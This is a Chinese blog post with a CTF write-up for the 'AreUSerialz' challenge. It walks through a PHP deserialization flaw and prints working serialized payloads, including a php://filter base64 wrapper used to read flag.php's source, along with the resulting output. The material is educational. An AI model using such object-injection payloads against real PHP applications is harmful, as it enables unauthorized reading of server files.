[网鼎杯 2020 青龙组]AreUSerialz

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

 这是主要代码,要利用反序列化,然后在看看is_valid($str)这个的代码

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

这个函数是判断字符串里面有没有字符是不属于可打印字符,如果有字符是不可打印字符那么就会返回false。

然后看FileHandler这个类

首先这个对象已经建立了,所以不用看__construct(),这个只有在对象建立的时候才需要调用这个方法所以这个题目是不需要看这个方法的。

然后在看__destruct(),这个实在对象销毁和对象没法访问的时候调用。

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

这个方法会在op强等于"2"的时候导致op变成1,然后调用process,看看process()

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

这里要读取flag应该首先尝试向着read方法看看能不能直接得到flag。read()的同时会有一个output来显示结果

private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

首先payload:(注意:这里要改成public,不然序列化的时候会出现%00这种不可打印字符会导致前面的is_valid   return false)

class FileHandler {

            public $op = 2;
            public $filename = "flag.php";
            public $content = "";
        }
        $b = new FileHandler();
        echo serialize($b);
        echo '<br>';
        echo urlencode(serialize($b));

//O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A0%3A%22%22%3B%7D

结果发现并没有读取到想要的,于是尝试加个php伪协议来读取:

<?php
        class FileHandler {

            public $op = 2;
            public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
            public $content = "";
        }
        $b = new FileHandler();
        echo serialize($b);
        echo '<br>';
        echo urlencode(serialize($b));
    ?>

//O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A0%3A%22%22%3B%7D

然后得到了

[Result]:
PD9waHAgJGZsYWc9J2ZsYWd7ZjRiNGIwMzYtNTdlOC00ZDY0LTlkYzItNDIwNTMxYTQ1NWE2fSc7Cg==

  然后直接用base64解码一下就可以得到flag了。

 

posted @ 2022-03-05 19:11  FPointmaple  阅读(50)  评论(0编辑  收藏  举报